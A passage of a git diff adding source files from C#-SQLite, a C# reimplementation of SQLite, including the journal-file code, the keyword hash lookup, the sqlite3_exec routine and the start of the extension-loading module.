Debug.Assert( pSrcIdx != null ); + sqlite3VdbeAddOp2( v, OP_Close, iSrc, 0 ); + sqlite3VdbeAddOp2( v, OP_Close, iDest, 0 ); + pKey = sqlite3IndexKeyinfo( pParse, pSrcIdx ); + sqlite3VdbeAddOp4( v, OP_OpenRead, iSrc, pSrcIdx.tnum, iDbSrc, + pKey, P4_KEYINFO_HANDOFF ); +#if SQLITE_DEBUG + VdbeComment( v, "%s", pSrcIdx.zName ); +#endif + pKey = sqlite3IndexKeyinfo( pParse, pDestIdx ); + sqlite3VdbeAddOp4( v, OP_OpenWrite, iDest, pDestIdx.tnum, iDbDest, + pKey, P4_KEYINFO_HANDOFF ); +#if SQLITE_DEBUG + VdbeComment( v, "%s", pDestIdx.zName ); +#endif + addr1 = sqlite3VdbeAddOp2( v, OP_Rewind, iSrc, 0 ); + sqlite3VdbeAddOp2( v, OP_RowKey, iSrc, regData ); + sqlite3VdbeAddOp3( v, OP_IdxInsert, iDest, regData, 1 ); + sqlite3VdbeAddOp2( v, OP_Next, iSrc, addr1 + 1 ); + sqlite3VdbeJumpHere( v, addr1 ); + } + sqlite3VdbeJumpHere( v, emptySrcTest ); + sqlite3ReleaseTempReg( pParse, regRowid ); + sqlite3ReleaseTempReg( pParse, regData ); + sqlite3VdbeAddOp2( v, OP_Close, iSrc, 0 ); + sqlite3VdbeAddOp2( v, OP_Close, iDest, 0 ); + if ( emptyDestTest != 0 ) + { + sqlite3VdbeAddOp2( v, OP_Halt, SQLITE_OK, 0 ); + sqlite3VdbeJumpHere( v, emptyDestTest ); + sqlite3VdbeAddOp2( v, OP_Close, iDest, 0 ); + return 0; + } + else + { + return 1; + } + } +#endif // * SQLITE_OMIT_XFER_OPT */ + /* Make sure "isView" gets undefined in case this file becomes part of +** the amalgamation - so that subsequent files do not see isView as a +** macro. */ + //#undef isView + } +} diff --git a/SQLite/src/journal_c.cs b/SQLite/src/journal_c.cs new file mode 100644 index 0000000..0e51e6c --- /dev/null +++ b/SQLite/src/journal_c.cs @@ -0,0 +1,253 @@ +namespace CS_SQLite3 +{ + public partial class CSSQLite + { + /* + ** 2007 August 22 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** + ** @(#) $Id: journal.c,v 1.9 2009/01/20 17:06:27 danielk1977 Exp $ + ** + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** $Header$ + ************************************************************************* + */ + +#if SQLITE_ENABLE_ATOMIC_WRITE + +/* +** This file implements a special kind of sqlite3_file object used +** by SQLite to create journal files if the atomic-write optimization +** is enabled. +** +** The distinctive characteristic of this sqlite3_file is that the +** actual on disk file is created lazily. When the file is created, +** the caller specifies a buffer size for an in-memory buffer to +** be used to service read() and write() requests. The actual file +** on disk is not created or populated until either: +** +** 1) The in-memory representation grows too large for the allocated +** buffer, or +** 2) The sqlite3JournalCreate() function is called. +*/ + +//#include "sqliteInt.h" + + +/* +** A JournalFile object is a subclass of sqlite3_file used by +** as an open file handle for journal files. +*/ +struct JournalFile { +sqlite3_io_methods pMethod; /* I/O methods on journal files */ +int nBuf; /* Size of zBuf[] in bytes */ +char *zBuf; /* Space to buffer journal writes */ +int iSize; /* Amount of zBuf[] currently used */ +int flags; /* xOpen flags */ +sqlite3_vfs pVfs; /* The "real" underlying VFS */ +sqlite3_file pReal; /* The "real" underlying file descriptor */ +const char *zJournal; /* Name of the journal file */ +}; +typedef struct JournalFile JournalFile; + +/* +** If it does not already exists, create and populate the on-disk file +** for JournalFile p. +*/ +static int createFile(JournalFile p){ +int rc = SQLITE_OK; +if( null==p.pReal ){ +sqlite3_file pReal = (sqlite3_file *)&p[1]; +rc = sqlite3OsOpen(p.pVfs, p.zJournal, pReal, p.flags, 0); +if( rc==SQLITE_OK ){ +p.pReal = pReal; +if( p.iSize>0 ){ +Debug.Assert(p.iSize<=p.nBuf); +rc = sqlite3OsWrite(p.pReal, p.zBuf, p.iSize, 0); +} +} +} +return rc; +} + +/* +** Close the file. +*/ +static int jrnlClose(sqlite3_file pJfd){ +JournalFile p = (JournalFile *)pJfd; +if( p.pReal ){ +sqlite3OsClose(p.pReal); +} +//sqlite3DbFree(db,p.zBuf); +return SQLITE_OK; +} + +/* +** Read data from the file. +*/ +static int jrnlRead( +sqlite3_file *pJfd, /* The journal file from which to read */ +void *zBuf, /* Put the results here */ +int iAmt, /* Number of bytes to read */ +sqlite_int64 iOfst /* Begin reading at this offset */ +){ +int rc = SQLITE_OK; +JournalFile *p = (JournalFile *)pJfd; +if( p->pReal ){ +rc = sqlite3OsRead(p->pReal, zBuf, iAmt, iOfst); +}else if( (iAmt+iOfst)>p->iSize ){ +rc = SQLITE_IOERR_SHORT_READ; +}else{ +memcpy(zBuf, &p->zBuf[iOfst], iAmt); +} +return rc; +} + +/* +** Write data to the file. +*/ +static int jrnlWrite( +sqlite3_file pJfd, /* The journal file into which to write */ +const void *zBuf, /* Take data to be written from here */ +int iAmt, /* Number of bytes to write */ +sqlite_int64 iOfst /* Begin writing at this offset into the file */ +){ +int rc = SQLITE_OK; +JournalFile p = (JournalFile *)pJfd; +if( null==p.pReal && (iOfst+iAmt)>p.nBuf ){ +rc = createFile(p); +} +if( rc==SQLITE_OK ){ +if( p.pReal ){ +rc = sqlite3OsWrite(p.pReal, zBuf, iAmt, iOfst); +}else{ +memcpy(p.zBuf[iOfst], zBuf, iAmt); +if( p.iSize<(iOfst+iAmt) ){ +p.iSize = (iOfst+iAmt); +} +} +} +return rc; +} + +/* +** Truncate the file. +*/ +static int jrnlTruncate(sqlite3_file pJfd, sqlite_int64 size){ +int rc = SQLITE_OK; +JournalFile p = (JournalFile *)pJfd; +if( p.pReal ){ +rc = sqlite3OsTruncate(p.pReal, size); +}else if( size0 ){ +p.zBuf = sqlite3MallocZero(nBuf); +if( null==p.zBuf ){ +return SQLITE_NOMEM; +} +}else{ +return sqlite3OsOpen(pVfs, zName, pJfd, flags, 0); +} +p.pMethod = &JournalFileMethods; +p.nBuf = nBuf; +p.flags = flags; +p.zJournal = zName; +p.pVfs = pVfs; +return SQLITE_OK; +} + +/* +** If the argument p points to a JournalFile structure, and the underlying +** file has not yet been created, create it now. +*/ +int sqlite3JournalCreate(sqlite3_file p){ +if( p.pMethods!=&JournalFileMethods ){ +return SQLITE_OK; +} +return createFile((JournalFile *)p); +} + +/* +** Return the number of bytes required to store a JournalFile that uses vfs +** pVfs to create the underlying on-disk files. +*/ +int sqlite3JournalSize(sqlite3_vfs pVfs){ +return (pVfs->szOsFile+sizeof(JournalFile)); +} +#endif + } +} diff --git a/SQLite/src/keywordhash_h.cs b/SQLite/src/keywordhash_h.cs new file mode 100644 index 0000000..b1e7ec9 --- /dev/null +++ b/SQLite/src/keywordhash_h.cs @@ -0,0 +1,286 @@ +using System.Diagnostics; + +namespace CS_SQLite3 +{ + public partial class CSSQLite + { + /***** This file contains automatically generated code ****** + ** + ** The code in this file has been automatically generated by + ** + ** $Header$ + ** + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** $Header$ + ************************************************************************* + ** + ** The code in this file implements a function that determines whether + ** or not a given identifier is really an SQL keyword. The same thing + ** might be implemented more directly using a hand-written hash table. + ** But by using this automatically generated code, the size of the code + ** is substantially reduced. This is important for embedded applications + ** on platforms with limited memory. + */ + /* Hash score: 171 */ + static int keywordCode( string z, int iOffset, int n ) + { + /* zText[] encodes 801 bytes of keywords in 541 bytes */ + /* REINDEXEDESCAPEACHECKEYBEFOREIGNOREGEXPLAINSTEADDATABASELECT */ + /* ABLEFTHENDEFERRABLELSEXCEPTRANSACTIONATURALTERAISEXCLUSIVE */ + /* XISTSAVEPOINTERSECTRIGGEREFERENCESCONSTRAINTOFFSETEMPORARY */ + /* UNIQUERYATTACHAVINGROUPDATEBEGINNERELEASEBETWEENOTNULLIKE */ + /* CASCADELETECASECOLLATECREATECURRENT_DATEDETACHIMMEDIATEJOIN */ + /* SERTMATCHPLANALYZEPRAGMABORTVALUESVIRTUALIMITWHENWHERENAME */ + /* AFTEREPLACEANDEFAULTAUTOINCREMENTCASTCOLUMNCOMMITCONFLICTCROSS */ + /* CURRENT_TIMESTAMPRIMARYDEFERREDISTINCTDROPFAILFROMFULLGLOBYIF */ + /* ISNULLORDERESTRICTOUTERIGHTROLLBACKROWUNIONUSINGVACUUMVIEW */ + /* INITIALLY */ + string zText = new string( new char[540] { +'R','E','I','N','D','E','X','E','D','E','S','C','A','P','E','A','C','H', +'E','C','K','E','Y','B','E','F','O','R','E','I','G','N','O','R','E','G', +'E','X','P','L','A','I','N','S','T','E','A','D','D','A','T','A','B','A', +'S','E','L','E','C','T','A','B','L','E','F','T','H','E','N','D','E','F', +'E','R','R','A','B','L','E','L','S','E','X','C','E','P','T','R','A','N', +'S','A','C','T','I','O','N','A','T','U','R','A','L','T','E','R','A','I', +'S','E','X','C','L','U','S','I','V','E','X','I','S','T','S','A','V','E', +'P','O','I','N','T','E','R','S','E','C','T','R','I','G','G','E','R','E', +'F','E','R','E','N','C','E','S','C','O','N','S','T','R','A','I','N','T', +'O','F','F','S','E','T','E','M','P','O','R','A','R','Y','U','N','I','Q', +'U','E','R','Y','A','T','T','A','C','H','A','V','I','N','G','R','O','U', +'P','D','A','T','E','B','E','G','I','N','N','E','R','E','L','E','A','S', +'E','B','E','T','W','E','E','N','O','T','N','U','L','L','I','K','E','C', +'A','S','C','A','D','E','L','E','T','E','C','A','S','E','C','O','L','L', +'A','T','E','C','R','E','A','T','E','C','U','R','R','E','N','T','_','D', +'A','T','E','D','E','T','A','C','H','I','M','M','E','D','I','A','T','E', +'J','O','I','N','S','E','R','T','M','A','T','C','H','P','L','A','N','A', +'L','Y','Z','E','P','R','A','G','M','A','B','O','R','T','V','A','L','U', +'E','S','V','I','R','T','U','A','L','I','M','I','T','W','H','E','N','W', +'H','E','R','E','N','A','M','E','A','F','T','E','R','E','P','L','A','C', +'E','A','N','D','E','F','A','U','L','T','A','U','T','O','I','N','C','R', +'E','M','E','N','T','C','A','S','T','C','O','L','U','M','N','C','O','M', +'M','I','T','C','O','N','F','L','I','C','T','C','R','O','S','S','C','U', +'R','R','E','N','T','_','T','I','M','E','S','T','A','M','P','R','I','M', +'A','R','Y','D','E','F','E','R','R','E','D','I','S','T','I','N','C','T', +'D','R','O','P','F','A','I','L','F','R','O','M','F','U','L','L','G','L', +'O','B','Y','I','F','I','S','N','U','L','L','O','R','D','E','R','E','S', +'T','R','I','C','T','O','U','T','E','R','I','G','H','T','R','O','L','L', +'B','A','C','K','R','O','W','U','N','I','O','N','U','S','I','N','G','V', +'A','C','U','U','M','V','I','E','W','I','N','I','T','I','A','L','L','Y', +} ); + + byte[] aHash = { +70, 99, 112, 68, 0, 43, 0, 0, 76, 0, 71, 0, 0, +41, 12, 72, 15, 0, 111, 79, 49, 106, 0, 19, 0, 0, +116, 0, 114, 109, 0, 22, 87, 0, 9, 0, 0, 64, 65, +0, 63, 6, 0, 47, 84, 96, 0, 113, 95, 0, 0, 44, +0, 97, 24, 0, 17, 0, 117, 48, 23, 0, 5, 104, 25, +90, 0, 0, 119, 100, 55, 118, 52, 7, 50, 0, 85, 0, +94, 26, 0, 93, 0, 0, 0, 89, 86, 91, 82, 103, 14, +38, 102, 0, 75, 0, 18, 83, 105, 31, 0, 115, 74, 107, +57, 45, 78, 0, 0, 88, 39, 0, 110, 0, 35, 0, 0, +28, 0, 80, 53, 58, 0, 20, 56, 0, 51, +}; + byte[] aNext = { +0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, +0, 2, 0, 0, 0, 0, 0, 0, 13, 0, 0, 0, 0, +0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, +0, 0, 0, 0, 32, 21, 0, 0, 0, 42, 3, 46, 0, +0, 0, 0, 29, 0, 0, 37, 0, 0, 0, 1, 60, 0, +0, 61, 0, 40, 0, 0, 0, 0, 0, 0, 0, 59, 0, +0, 0, 0, 30, 54, 16, 33, 10, 0, 0, 0, 0, 0, +0, 0, 11, 66, 73, 0, 8, 0, 98, 92, 0, 101, 0, +81, 0, 69, 0, 0, 108, 27, 36, 67, 77, 0, 34, 62, +0, 0, +}; + byte[] aLen = { +7, 7, 5, 4, 6, 4, 5, 3, 6, 7, 3, 6, 6, +7, 7, 3, 8, 2, 6, 5, 4, 4, 3, 10, 4, 6, +11, 2, 7, 5, 5, 9, 6, 9, 9, 7, 10, 10, 4, +6, 2, 3, 4, 9, 2, 6, 5, 6, 6, 5, 6, 5, +5, 7, 7, 7, 3, 4, 4, 7, 3, 6, 4, 7, 6, +12, 6, 9, 4, 6, 5, 4, 7, 6, 5, 6, 7, 5, +4, 5, 6, 5, 7, 3, 7, 13, 2, 2, 4, 6, 6, +8, 5, 17, 12, 7, 8, 8, 2, 4, 4, 4, 4, 4, +2, 2, 6, 5, 8, 5, 5, 8, 3, 5, 5, 6, 4, +9, 3, +}; + int[] aOffset = { +0, 2, 2, 8, 9, 14, 16, 20, 23, 25, 25, 29, 33, +36, 41, 46, 48, 53, 54, 59, 62, 65, 67, 69, 78, 81, +86, 95, 96, 101, 105, 109, 117, 122, 128, 136, 142, 152, 159, +162, 162, 165, 167, 167, 171, 176, 179, 184, 189, 194, 197, 203, +206, 210, 217, 223, 223, 226, 229, 233, 234, 238, 244, 248, 255, +261, 273, 279, 288, 290, 296, 301, 303, 310, 315, 320, 326, 332, +337, 341, 344, 350, 354, 361, 363, 370, 372, 374, 383, 387, 393, +399, 407, 412, 412, 428, 435, 442, 443, 450, 454, 458, 462, 466, +469, 471, 473, 479, 483, 491, 495, 500, 508, 511, 516, 521, 527, +531, 536, +}; + byte[] aCode = { +TK_REINDEX, TK_INDEXED, TK_INDEX, TK_DESC, TK_ESCAPE, +TK_EACH, TK_CHECK, TK_KEY, TK_BEFORE, TK_FOREIGN, +TK_FOR, TK_IGNORE, TK_LIKE_KW, TK_EXPLAIN, TK_INSTEAD, +TK_ADD, TK_DATABASE, TK_AS, TK_SELECT, TK_TABLE, +TK_JOIN_KW, TK_THEN, TK_END, TK_DEFERRABLE, TK_ELSE, +TK_EXCEPT, TK_TRANSACTION,TK_ON, TK_JOIN_KW, TK_ALTER, +TK_RAISE, TK_EXCLUSIVE, TK_EXISTS, TK_SAVEPOINT, TK_INTERSECT, +TK_TRIGGER, TK_REFERENCES, TK_CONSTRAINT, TK_INTO, TK_OFFSET, +TK_OF, TK_SET, TK_TEMP, TK_TEMP, TK_OR, +TK_UNIQUE, TK_QUERY, TK_ATTACH, TK_HAVING, TK_GROUP, +TK_UPDATE, TK_BEGIN, TK_JOIN_KW, TK_RELEASE, TK_BETWEEN, +TK_NOTNULL, TK_NOT, TK_NULL, TK_LIKE_KW, TK_CASCADE, +TK_ASC, TK_DELETE, TK_CASE, TK_COLLATE, TK_CREATE, +TK_CTIME_KW, TK_DETACH, TK_IMMEDIATE, TK_JOIN, TK_INSERT, +TK_MATCH, TK_PLAN, TK_ANALYZE, TK_PRAGMA, TK_ABORT, +TK_VALUES, TK_VIRTUAL, TK_LIMIT, TK_WHEN, TK_WHERE, +TK_RENAME, TK_AFTER, TK_REPLACE, TK_AND, TK_DEFAULT, +TK_AUTOINCR, TK_TO, TK_IN, TK_CAST, TK_COLUMNKW, +TK_COMMIT, TK_CONFLICT, TK_JOIN_KW, TK_CTIME_KW, TK_CTIME_KW, +TK_PRIMARY, TK_DEFERRED, TK_DISTINCT, TK_IS, TK_DROP, +TK_FAIL, TK_FROM, TK_JOIN_KW, TK_LIKE_KW, TK_BY, +TK_IF, TK_ISNULL, TK_ORDER, TK_RESTRICT, TK_JOIN_KW, +TK_JOIN_KW, TK_ROLLBACK, TK_ROW, TK_UNION, TK_USING, +TK_VACUUM, TK_VIEW, TK_INITIALLY, TK_ALL, +}; + int h, i; + if ( n < 2 ) return TK_ID; + h = ( ( sqlite3UpperToLower[z[iOffset + 0]] ) * 4 ^//(charMap(z[iOffset+0]) * 4) ^ + ( sqlite3UpperToLower[z[iOffset + n - 1]] * 3 ) ^ //(charMap(z[iOffset+n - 1]) * 3) ^ + n ) % 127; + for ( i = ( aHash[h] ) - 1 ; i >= 0 ; i = ( aNext[i] ) - 1 ) + { + if ( aLen[i] == n && 0 == sqlite3StrNICmp( zText.ToString(), aOffset[i], z.Substring( iOffset, n ), n ) ) + { + testcase( i == 0 ); /* REINDEX */ + testcase( i == 1 ); /* INDEXED */ + testcase( i == 2 ); /* INDEX */ + testcase( i == 3 ); /* DESC */ + testcase( i == 4 ); /* ESCAPE */ + testcase( i == 5 ); /* EACH */ + testcase( i == 6 ); /* CHECK */ + testcase( i == 7 ); /* KEY */ + testcase( i == 8 ); /* BEFORE */ + testcase( i == 9 ); /* FOREIGN */ + testcase( i == 10 ); /* FOR */ + testcase( i == 11 ); /* IGNORE */ + testcase( i == 12 ); /* REGEXP */ + testcase( i == 13 ); /* EXPLAIN */ + testcase( i == 14 ); /* INSTEAD */ + testcase( i == 15 ); /* ADD */ + testcase( i == 16 ); /* DATABASE */ + testcase( i == 17 ); /* AS */ + testcase( i == 18 ); /* SELECT */ + testcase( i == 19 ); /* TABLE */ + testcase( i == 20 ); /* LEFT */ + testcase( i == 21 ); /* THEN */ + testcase( i == 22 ); /* END */ + testcase( i == 23 ); /* DEFERRABLE */ + testcase( i == 24 ); /* ELSE */ + testcase( i == 25 ); /* EXCEPT */ + testcase( i == 26 ); /* TRANSACTION */ + testcase( i == 27 ); /* ON */ + testcase( i == 28 ); /* NATURAL */ + testcase( i == 29 ); /* ALTER */ + testcase( i == 30 ); /* RAISE */ + testcase( i == 31 ); /* EXCLUSIVE */ + testcase( i == 32 ); /* EXISTS */ + testcase( i == 33 ); /* SAVEPOINT */ + testcase( i == 34 ); /* INTERSECT */ + testcase( i == 35 ); /* TRIGGER */ + testcase( i == 36 ); /* REFERENCES */ + testcase( i == 37 ); /* CONSTRAINT */ + testcase( i == 38 ); /* INTO */ + testcase( i == 39 ); /* OFFSET */ + testcase( i == 40 ); /* OF */ + testcase( i == 41 ); /* SET */ + testcase( i == 42 ); /* TEMP */ + testcase( i == 43 ); /* TEMPORARY */ + testcase( i == 44 ); /* OR */ + testcase( i == 45 ); /* UNIQUE */ + testcase( i == 46 ); /* QUERY */ + testcase( i == 47 ); /* ATTACH */ + testcase( i == 48 ); /* HAVING */ + testcase( i == 49 ); /* GROUP */ + testcase( i == 50 ); /* UPDATE */ + testcase( i == 51 ); /* BEGIN */ + testcase( i == 52 ); /* INNER */ + testcase( i == 53 ); /* RELEASE */ + testcase( i == 54 ); /* BETWEEN */ + testcase( i == 55 ); /* NOTNULL */ + testcase( i == 56 ); /* NOT */ + testcase( i == 57 ); /* NULL */ + testcase( i == 58 ); /* LIKE */ + testcase( i == 59 ); /* CASCADE */ + testcase( i == 60 ); /* ASC */ + testcase( i == 61 ); /* DELETE */ + testcase( i == 62 ); /* CASE */ + testcase( i == 63 ); /* COLLATE */ + testcase( i == 64 ); /* CREATE */ + testcase( i == 65 ); /* CURRENT_DATE */ + testcase( i == 66 ); /* DETACH */ + testcase( i == 67 ); /* IMMEDIATE */ + testcase( i == 68 ); /* JOIN */ + testcase( i == 69 ); /* INSERT */ + testcase( i == 70 ); /* MATCH */ + testcase( i == 71 ); /* PLAN */ + testcase( i == 72 ); /* ANALYZE */ + testcase( i == 73 ); /* PRAGMA */ + testcase( i == 74 ); /* ABORT */ + testcase( i == 75 ); /* VALUES */ + testcase( i == 76 ); /* VIRTUAL */ + testcase( i == 77 ); /* LIMIT */ + testcase( i == 78 ); /* WHEN */ + testcase( i == 79 ); /* WHERE */ + testcase( i == 80 ); /* RENAME */ + testcase( i == 81 ); /* AFTER */ + testcase( i == 82 ); /* REPLACE */ + testcase( i == 83 ); /* AND */ + testcase( i == 84 ); /* DEFAULT */ + testcase( i == 85 ); /* AUTOINCREMENT */ + testcase( i == 86 ); /* TO */ + testcase( i == 87 ); /* IN */ + testcase( i == 88 ); /* CAST */ + testcase( i == 89 ); /* COLUMN */ + testcase( i == 90 ); /* COMMIT */ + testcase( i == 91 ); /* CONFLICT */ + testcase( i == 92 ); /* CROSS */ + testcase( i == 93 ); /* CURRENT_TIMESTAMP */ + testcase( i == 94 ); /* CURRENT_TIME */ + testcase( i == 95 ); /* PRIMARY */ + testcase( i == 96 ); /* DEFERRED */ + testcase( i == 97 ); /* DISTINCT */ + testcase( i == 98 ); /* IS */ + testcase( i == 99 ); /* DROP */ + testcase( i == 100 ); /* FAIL */ + testcase( i == 101 ); /* FROM */ + testcase( i == 102 ); /* FULL */ + testcase( i == 103 ); /* GLOB */ + testcase( i == 104 ); /* BY */ + testcase( i == 105 ); /* IF */ + testcase( i == 106 ); /* ISNULL */ + testcase( i == 107 ); /* ORDER */ + testcase( i == 108 ); /* RESTRICT */ + testcase( i == 109 ); /* OUTER */ + testcase( i == 110 ); /* RIGHT */ + testcase( i == 111 ); /* ROLLBACK */ + testcase( i == 112 ); /* ROW */ + testcase( i == 113 ); /* UNION */ + testcase( i == 114 ); /* USING */ + testcase( i == 115 ); /* VACUUM */ + testcase( i == 116 ); /* VIEW */ + testcase( i == 117 ); /* INITIALLY */ + testcase( i == 118 ); /* ALL */ + return aCode[i]; + } + } + return TK_ID; + } + static int sqlite3KeywordCode( string z, int n ) + { + return keywordCode( z, 0, n ); + } + } +} diff --git a/SQLite/src/legacy_c.cs b/SQLite/src/legacy_c.cs new file mode 100644 index 0000000..9f5d317 --- /dev/null +++ b/SQLite/src/legacy_c.cs @@ -0,0 +1,215 @@ +using System; +using System.Diagnostics; +using System.Text; + +namespace CS_SQLite3 +{ + using sqlite3_callback = CSSQLite.dxCallback; + using sqlite3_stmt = CSSQLite.Vdbe; + + public partial class CSSQLite + { + + /* + ** 2001 September 15 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** Main file for the SQLite library. The routines in this file + ** implement the programmer interface to the library. Routines in + ** other files are for internal use by SQLite and should not be + ** accessed by users of the library. + ** + ** $Id: legacy.c,v 1.35 2009/08/07 16:56:00 danielk1977 Exp $ + ** + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** $Header$ + ************************************************************************* + */ + + //#include "sqliteInt.h" + + /* + ** Execute SQL code. Return one of the SQLITE_ success/failure + ** codes. Also write an error message into memory obtained from + ** malloc() and make pzErrMsg point to that message. + ** + ** If the SQL is a query, then for each row in the query result + ** the xCallback() function is called. pArg becomes the first + ** argument to xCallback(). If xCallback=NULL then no callback + ** is invoked, even for queries. + */ + //OVERLOADS + + public static int sqlite3_exec( + sqlite3 db, /* The database on which the SQL executes */ + string zSql, /* The SQL to be executed */ + int NoCallback, int NoArgs, int NoErrors + ) + { + string Errors = ""; + return sqlite3_exec( db, zSql, null, null, ref Errors ); + } + + public static int sqlite3_exec( + sqlite3 db, /* The database on which the SQL executes */ + string zSql, /* The SQL to be executed */ + sqlite3_callback xCallback, /* Invoke this callback routine */ + object pArg, /* First argument to xCallback() */ + int NoErrors + ) + { + string Errors = ""; + return sqlite3_exec( db, zSql, xCallback, pArg, ref Errors ); + } + public static int sqlite3_exec( + sqlite3 db, /* The database on which the SQL executes */ + string zSql, /* The SQL to be executed */ + sqlite3_callback xCallback, /* Invoke this callback routine */ + object pArg, /* First argument to xCallback() */ + ref string pzErrMsg /* Write error messages here */ + ) + { + + int rc = SQLITE_OK; /* Return code */ + string zLeftover = ""; /* Tail of unprocessed SQL */ + sqlite3_stmt pStmt = null; /* The current SQL statement */ + string[] azCols = null; /* Names of result columns */ + int nRetry = 0; /* Number of retry attempts */ + int callbackIsInit; /* True if callback data is initialized */ + + if ( zSql == null ) zSql = ""; + + sqlite3_mutex_enter( db.mutex ); + sqlite3Error( db, SQLITE_OK, 0 ); + while ( ( rc == SQLITE_OK || ( rc == SQLITE_SCHEMA && ( ++nRetry ) < 2 ) ) && zSql != "" ) + { + int nCol; + string[] azVals = null; + + pStmt = null; + rc = sqlite3_prepare( db, zSql, -1, ref pStmt, ref zLeftover ); + Debug.Assert( rc == SQLITE_OK || pStmt == null ); + if ( rc != SQLITE_OK ) + { + continue; + } + if ( pStmt == null ) + { + /* this happens for a comment or white-space */ + zSql = zLeftover; + continue; + } + + callbackIsInit = 0; + nCol = sqlite3_column_count( pStmt ); + + while ( true ) + { + int i; + rc = sqlite3_step( pStmt ); + + /* Invoke the callback function if required */ + if ( xCallback != null && ( SQLITE_ROW == rc || + ( SQLITE_DONE == rc && callbackIsInit == 0 + && ( db.flags & SQLITE_NullCallback ) != 0 ) ) ) + { + if ( 0 == callbackIsInit ) + { + azCols = new string[nCol];//sqlite3DbMallocZero(db, 2*nCol*sizeof(const char*) + 1); + if ( azCols == null ) + { + goto exec_out; + } + for ( i = 0 ; i < nCol ; i++ ) + { + azCols[i] = sqlite3_column_name( pStmt, i ); + /* sqlite3VdbeSetColName() installs column names as UTF8 + ** strings so there is no way for sqlite3_column_name() to fail. */ + Debug.Assert( azCols[i] != null ); + } + callbackIsInit = 1; + } + if ( rc == SQLITE_ROW ) + { + azVals = new string[nCol];// azCols[nCol]; + for ( i = 0 ; i < nCol ; i++ ) + { + azVals[i] = sqlite3_column_text( pStmt, i ); + if ( azVals[i] == null && sqlite3_column_type( pStmt, i ) != SQLITE_NULL ) + { + //// db.mallocFailed = 1; + goto exec_out; + } + } + } + if ( xCallback( pArg, nCol, azVals, azCols ) != 0 ) + { + rc = SQLITE_ABORT; + sqlite3VdbeFinalize( pStmt ); + pStmt = null; + sqlite3Error( db, SQLITE_ABORT, 0 ); + goto exec_out; + } + } + + if ( rc != SQLITE_ROW ) + { + rc = sqlite3VdbeFinalize( pStmt ); + pStmt = null; + if ( rc != SQLITE_SCHEMA ) + { + nRetry = 0; + if ( ( zSql = zLeftover ) != "" ) + { + int zindex = 0; + while ( zindex < zSql.Length && sqlite3Isspace( zSql[zindex] ) ) zindex++; + if ( zindex != 0 ) zSql = zindex < zSql.Length ? zSql.Substring( zindex ) : ""; + } + } + break; + } + } + + //sqlite3DbFree( db, ref azCols ); + azCols = null; + } + +exec_out: + if ( pStmt != null ) sqlite3VdbeFinalize( pStmt ); + //sqlite3DbFree( db, ref azCols ); + + rc = sqlite3ApiExit( db, rc ); + if ( rc != SQLITE_OK && ALWAYS( rc == sqlite3_errcode( db ) ) && pzErrMsg != null ) + { + //int nErrMsg = 1 + sqlite3Strlen30(sqlite3_errmsg(db)); + //pzErrMsg = sqlite3Malloc(nErrMsg); + //if (pzErrMsg) + //{ + // memcpy(pzErrMsg, sqlite3_errmsg(db), nErrMsg); + //}else{ + //rc = SQLITE_NOMEM; + //sqlite3Error(db, SQLITE_NOMEM, 0); + //} + pzErrMsg = sqlite3_errmsg( db ); + } + else if ( pzErrMsg != "" ) + { + pzErrMsg = ""; + } + + Debug.Assert( ( rc & db.errMask ) == rc ); + sqlite3_mutex_leave( db.mutex ); + return rc; + } + } +} diff --git a/SQLite/src/loadext_c.cs b/SQLite/src/loadext_c.cs new file mode 100644 index 0000000..e509381 --- /dev/null +++ b/SQLite/src/loadext_c.cs @@ -0,0 +1,685 @@ +using System; +using System.Diagnostics; +using HANDLE = System.IntPtr; + +namespace CS_SQLite3 +{ + public partial class CSSQLite + { + /* + ** 2006 June 7 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** This file contains code used to dynamically load extensions into + ** the SQLite library. + ** + ** $Id: loadext.c,v 1.60 2009/06/03 01:24:54 drh Exp $ + ** + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** $Header$ + ************************************************************************* + */ + +#if !SQLITE_CORE + //#define SQLITE_CORE 1 /* Disable the API redefinition in sqlite3ext.h */ + const int SQLITE_CORE = 1; +#endif + //#include "sqlite3ext.h" + //#include "sqliteInt.h" + //#include + +#if !SQLITE_OMIT_LOAD_EXTENSION + + /* +** Some API routines are omitted when various features are +** excluded from a build of SQLite. Substitute a NULL pointer +** for any missing APIs. +*/ +#if !SQLITE_ENABLE_COLUMN_METADATA + //# define sqlite3_column_database_name 0 + //# define sqlite3_column_database_name16 0 + //# define sqlite3_column_table_name 0 + //# define sqlite3_column_table_name16 0 + //# define sqlite3_column_origin_name 0 + //# define sqlite3_column_origin_name16 0 + //# define sqlite3_table_column_metadata 0 +#endif + +#if SQLITE_OMIT_AUTHORIZATION + //# define sqlite3_set_authorizer 0 +#endif + +#if SQLITE_OMIT_UTF16 + //# define sqlite3_bind_text16 0 + //# define sqlite3_collation_needed16 0 + //# define sqlite3_column_decltype16 0 + //# define sqlite3_column_name16 0 + //# define sqlite3_column_text16 0 + //# define sqlite3_complete16 0 + //# define sqlite3_create_collation16 0 + //# define sqlite3_create_function16 0 + //# define sqlite3_errmsg16 0 + static string sqlite3_errmsg16( sqlite3 db ) { return ""; } + //# define sqlite3_open16 0 + //# define sqlite3_prepare16 0 + //# define sqlite3_prepare16_v2 0 + //# define sqlite3_result_error16 0 + //# define sqlite3_result_text16 0 + static void sqlite3_result_text16( sqlite3_context pCtx, string z, int n, dxDel xDel ) { } + 